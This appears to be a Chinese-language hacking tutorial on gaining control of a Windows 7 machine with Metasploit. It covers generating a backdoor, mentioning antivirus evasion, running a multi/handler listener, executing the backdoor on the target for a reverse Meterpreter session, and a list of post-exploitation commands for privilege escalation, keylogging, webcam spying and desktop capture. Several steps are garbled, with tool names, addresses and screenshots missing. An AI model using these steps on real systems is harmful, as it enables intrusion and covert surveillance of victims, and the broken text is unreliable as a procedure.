metasploit进行渗透windows7

很多朋友对使用利用后门程序进行渗透都比较感兴趣针对这些以下业内相关专家就给大家介绍下当下黑客怎么利用进行渗透的。

设定目标主机为虚拟机地址为而本地主机就为。

方法步骤一黑客用直接生成相关的后门程序如下图。

方法步骤二黑客直接就能进入所在的目录并将属性进行修改换为允许以程序执行文件详细如下图。

进入所在目录修改属性选择“允许以程序执行文件”,这时候也可以做一些免杀

方法步骤三接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机最后就能开始进行监听了详细情况如下图。

打开msfconsole加载exploit/multi/handler模块设置本地主机然后开始监听exploit-z-j

方法步骤四黑客需要能将程序直接拷贝都目标主机中并进行执行。

方法步骤五以上步骤全部完成后黑客就能通过后门程序反向连接到msf用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf详细的如下图。

Meterpreter就是metasploit框架中的一个扩展模块因此的话溢出成功后黑客就能攻击载荷进行使用一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。

另外附meterpreter常用命令

getsystem#会自动利用各种各样的系统漏洞来进行权限提升

migrate#进程id进程迁移

background#把当前的会话设置为背景需要的时候在启用

getuid#查看对方正在运行的用户

ps#列出所有的进程

getpid#返回运行meterpreter的id号

sysinfo#产看系统信息和体系结构

shell#切换到cmd的系统权限方式

exit#退出shell会话返回meterpreter或终止meterpreter

getdesktop截取目标主机当前桌面会话窗口

runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头

keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘